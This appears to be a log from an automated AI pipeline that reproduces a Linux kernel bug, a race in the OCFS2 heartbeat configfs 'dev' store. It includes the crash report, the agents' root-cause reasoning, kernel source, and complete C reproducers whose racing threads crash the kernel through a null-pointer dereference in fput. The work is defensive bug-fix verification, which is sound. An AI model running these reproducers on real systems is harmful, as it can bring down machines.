**There is no issue, and it will correctly trigger the `store` function every time.**

#### How it works:
* When `pwrite(fd, buf, len, 0)` is invoked on a regular configfs attribute file, the kernel executes:
  `ksys_pwrite64()` $\to$ `vfs_write()` $\to$ `new_sync_write()` $\to$ `configfs_write_iter()`.
* In `configfs_write_iter()` (`fs/configfs/file.c`):
  1. `fill_write_buffer()` copies the user buffer into `buffer->page` (starting at offset 0, up to `SIMPLE_ATTR_SIZE - 1` = 4095 bytes) and ensures NUL-termination.
  2. `flush_write_buffer()` acquires the fragment read lock (`frag->frag_sem`) and directly calls the attribute's store callback:
     ```c
     res = buffer->attr->store(buffer->item, buffer->page, count);
     ```
  3. The return value of `store()` is returned to userspace.
* Because `pwrite` explicitly supplies offset `0`, `file->f_pos` is not advanced across iterations (and even internally, `fill_write_buffer()` always writes to index 0 of `buffer->page`).
* Each call in a tight loop safely acquires `buffer->mutex`, updates the page, invokes `store()`, and releases the mutex.

#### Considerations for Regular Attributes:
* **Size limit**: Standard configfs attributes are limited to `SIMPLE_ATTR_SIZE` (4096 bytes, max 4095 copied bytes).
* **Item deletion**: If the config item is removed (`rmdir`) while the loop is running, `frag->frag_dead` becomes true and subsequent `pwrite()` calls return `-ENOENT`.
* **Driver idempotency/performance**: The underlying module's `store()` callback must be prepared to handle rapid repeated calls and any concurrency/locking in the driver.

---

### 2. Binary Configfs Attributes (`struct configfs_bin_attribute`)
**Yes, there is an issue: it will NOT trigger the `write` callback every time.**

#### How it works:
* Configfs uses distinct operations for binary attributes (`configfs_bin_file_operations`).
* In `configfs_bin_write_iter()`, write operations only copy data into an internal memory buffer (`buffer->bin_buffer`) and **do not** invoke the driver's write callback.
* The write callback (`buffer->bin_attr->write(...)`) is only invoked **once** upon closing the file descriptor (`configfs_release_bin_file()` during `close(fd)`).
* Consequently, calling `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute simply overwrites the in-memory buffer at offset 0 repeatedly; the driver's callback is executed only once when the file is finally closed.]

152/5 2026/09/04 20:50 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21866
							output: 1596
							thoughts: 31
						

Thoughts:
**My Thought Process on Optimizing the `pwrite` Loop**

Ah, this is excellent! My analysis has confirmed that `dev` is indeed a regular attribute. This is a crucial piece of information because it means we can leverage the `pwrite` operation within a tight loop for optimal performance.

My next step, therefore, will be to construct and output the final reproducer. This will encapsulate the optimized approach and provide a clear demonstration of its effectiveness.


153/3 2026/09/04 20:50 action merge-strategy
0m Results:
map[CurrentReproStrategy:An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.

### Root Cause Analysis

The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`. 

When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
   ```c
   out:
       if (ret < 0) {
           // ...
           fput(reg->hr_bdev_file);
           reg->hr_bdev_file = NULL;
       }
   ```

Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```]

154/3 2026/09/04 20:50 agent repro-generator
2m Model:
deep-reasoning

Results:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

Strategy: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.

### Root Cause Analysis

The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`. 

When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
   ```c
   out:
       if (ret < 0) {
           // ...
           fput(reg->hr_bdev_file);
           reg->hr_bdev_file = NULL;
       }
   ```

Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```


Previous Reproducer Attempt:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Check if cluster subsystem exists
    struct stat st;
    res = stat("/sys/kernel/config/cluster", &st);
    if (res < 0) {
        printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] /sys/kernel/config/cluster exists.\n");

    // 3. Check for a block device
    int fd = open("/dev/loop0", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        fd = open("/dev/ram0", O_RDWR);
        if (fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] /dev/ram0 opened successfully.\n");
    } else {
        printf("[+] /dev/loop0 opened successfully.\n");
    }
    close(fd);

    printf("[+] All probes successful.\n");
    return 0;
}




Execution Results & Debugging Feedback:
The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store.

155/4 2026/09/04 20:50 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 6501
							output: 27
							thoughts: 4219
						

Thoughts:
**Reproducing the KASAN Null-Pointer Dereference in `fput` via `o2hb_region_dev_store`**

My objective here is to meticulously reproduce a specific KASAN null-pointer dereference bug reported in the `fput` function, which is being called from `o2hb_region_dev_store`. The crash log points to `fput+0x2e/0x100 fs/file_table.c:588` and the call chain originating from `o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935`.

The core of the problem, as I understand it from the provided strategy, lies in a race condition within the configfs `store` functions, specifically when two threads concurrently access the `dev` attribute of a heartbeat region using *distinct* file descriptors. The scenario unfolds as follows:

1.  **Initial State**: Both threads encounter a heartbeat region where `reg->hr_bdev_file` is `NULL`. This is because the `block_bytes` is intentionally misconfigured, causing the `sectsize` check to fail, and both threads will eventually execute the `out` label.

2.  **Opening the Block Device**: Both threads proceed to open the underlying block device. Crucially, Thread 1 successfully opens it and assigns its file pointer to `reg->hr_bdev_file`.

3.  **The Race**: Before Thread 1 can fully complete its operation, Thread 2 also opens the block device and *immediately* overwrites `reg->hr_bdev_file` with its own file pointer.

4.  **The Failure Path**: Due to the misconfiguration, both threads are directed to the `out` label.

5.  **Thread 1's Execution**: Thread 1 executes `fput(reg->hr_bdev_file)`. At this point, `reg->hr_bdev_file` still holds Thread 2's file pointer. `fput` decrements the reference count for this file. Following this, Thread 1 sets `reg->hr_bdev_file` to `NULL`.

6.  **Thread 2's Execution**: Thread 2 then attempts to execute `fput(reg->hr_bdev_file)`. However, Thread 1 has just set `reg->hr_bdev_file` to `NULL`. Therefore, Thread 2 ends up calling `fput(NULL)`.

7.  **The Dereference**: In certain kernel versions, `fput` (or the internal functions it calls, like `file_ref_put`) does not perform a null check on its argument. This leads directly to a null-pointer dereference, which is precisely what the KASAN report indicates.

To replicate this, my plan is to construct a C program that directly interacts with the kernel through system calls, as I cannot rely on external tools or build environments on the target. The steps I need to take are:

*   **Set up the Cluster and Heartbeat Region**: I'll use `mkdir` and `write` system calls to create the necessary directory structure within `/sys/kernel/config/cluster`, specifically for a cluster named `mycluster` and a heartbeat region named `myregion`. This will involve configuring node information and region parameters like `blocks` and `start_block`.
*   **Configure `block_bytes` for Failure**: I need to determine the sector size of a block device (e.g., `/dev/loop0` or `/dev/ram0` if `/dev/loop0` is unavailable) using `open` and `ioctl(BLKSSZGET)`. Then, I'll set `block_bytes` in the heartbeat region to a value *different* from the sector size. This is critical for triggering the `out` label path.
*   **Open the `dev` Attribute Concurrently**: I will open the `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` attribute twice, obtaining two distinct file descriptors (`dev_attr_fd1` and `dev_attr_fd2`).
*   **Create Two Competing Threads**: I'll spawn two separate threads. Each thread will enter an infinite loop, continuously writing the file descriptor of the opened block device (converted to a string) to its respective `dev` attribute file descriptor using `pwrite`. Pinning these threads to different CPU cores using `pthread_setaffinity_np` will help ensure they execute concurrently.
*   **Observe the Crash**: The program will then wait, allowing the race condition to occur. The expectation is that KASAN will detect the null-pointer dereference and report a bug.

I've drafted helper functions for writing to files and will use standard Linux system calls like `mount`, `mkdir`, `open`, `write`, `close`, `ioctl`, and `pthread` primitives. I'm mindful of the restriction against using shell commands, ensuring all operations are performed directly via these system calls. I've also considered the potential for `/dev/loop0` not being available and included a fallback to `/dev/ram0`. The use of `pwrite` instead of `write` is to ensure that the entire string representing the file descriptor is written atomically, although the core race is in how `reg->hr_bdev_file` is managed *before* the write.


156/4 2026/09/04 20:51 tool codesearch-definition-source
0m Args:
map[Name:o2hb_region_dev_store]

Results:
map[SourceCode:1773:	/*
1774:	 * this is acting as commit; we set up all of hr_bdev_file and hr_task or
1775:	 * nothing
1776:	 */
1777:	static ssize_t o2hb_region_dev_store(struct config_item *item,
1778:					     const char *page,
1779:					     size_t count)
1780:	{
1781:		struct o2hb_region *reg = to_o2hb_region(item);
1782:		struct task_struct *hb_task;
1783:		long fd;
1784:		int sectsize;
1785:		char *p = (char *)page;
1786:		ssize_t ret = -EINVAL;
1787:		int live_threshold;
1788:	
1789:		if (reg->hr_bdev_file)
1790:			return -EINVAL;
1791:	
1792:		/* We can't heartbeat without having had our node number
1793:		 * configured yet. */
1794:		if (o2nm_this_node() == O2NM_MAX_NODES)
1795:			return -EINVAL;
1796:	
1797:		ret = kstrtol(p, 0, &fd);
1798:		if (ret < 0)
1799:			return -EINVAL;
1800:	
1801:		if (fd < 0 || fd >= INT_MAX)
1802:			return -EINVAL;
1803:	
1804:		CLASS(fd, f)(fd);
1805:		if (fd_empty(f))
1806:			return -EINVAL;
1807:	
1808:		if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
1809:		    reg->hr_block_bytes == 0)
1810:			return -EINVAL;
1811:	
1812:		if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
1813:			return -EINVAL;
1814:	
1815:		reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816:				BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817:		if (IS_ERR(reg->hr_bdev_file)) {
1818:			ret = PTR_ERR(reg->hr_bdev_file);
1819:			reg->hr_bdev_file = NULL;
1820:			return ret;
1821:		}
1822:	
1823:		sectsize = bdev_logical_block_size(reg_bdev(reg));
1824:		if (sectsize != reg->hr_block_bytes) {
1825:			mlog(ML_ERROR,
1826:			     "blocksize %u incorrect for device, expected %d",
1827:			     reg->hr_block_bytes, sectsize);
1828:			ret = -EINVAL;
1829:			goto out;
1830:		}
1831:	
1832:		reg->hr_aborted_start = 0;
1833:		reg->hr_node_deleted = 0;
1834:		o2hb_init_region_params(reg);
1835:	
1836:		/* Generation of zero is invalid */
1837:		do {
1838:			get_random_bytes(&reg->hr_generation,
1839:					 sizeof(reg->hr_generation));
1840:		} while (reg->hr_generation == 0);
1841:	
1842:		ret = o2hb_map_slot_data(reg);
1843:		if (ret) {
1844:			mlog_errno(ret);
1845:			goto out;
1846:		}
1847:	
1848:		ret = o2hb_populate_slot_data(reg);
1849:		if (ret) {
1850:			mlog_errno(ret);
1851:			goto out;
1852:		}
1853:	
1854:		INIT_DELAYED_WORK(&reg->hr_write_timeout_work, o2hb_write_timeout);
1855:		INIT_DELAYED_WORK(&reg->hr_nego_timeout_work, o2hb_nego_timeout);
1856:	
1857:		/*
1858:		 * A node is considered live after it has beat LIVE_THRESHOLD
1859:		 * times.  We're not steady until we've given them a chance
1860:		 * _after_ our first read.
1861:		 * The default threshold is bare minimum so as to limit the delay
1862:		 * during mounts. For global heartbeat, the threshold doubled for the
1863:		 * first region.
1864:		 */
1865:		live_threshold = O2HB_LIVE_THRESHOLD;
1866:		if (o2hb_global_heartbeat_active()) {
1867:			spin_lock(&o2hb_live_lock);
1868:			if (bitmap_weight(o2hb_region_bitmap, O2NM_MAX_REGIONS) == 1)
1869:				live_threshold <<= 1;
1870:			spin_unlock(&o2hb_live_lock);
1871:		}
1872:		++live_threshold;
1873:		atomic_set(&reg->hr_steady_iterations, live_threshold);
1874:		/* unsteady_iterations is triple the steady_iterations */
1875:		atomic_set(&reg->hr_unsteady_iterations, (live_threshold * 3));
1876:	
1877:		hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
1878:				      reg->hr_item.ci_name);
1879:		if (IS_ERR(hb_task)) {
1880:			ret = PTR_ERR(hb_task);
1881:			mlog_errno(ret);
1882:			goto out;
1883:		}
1884:	
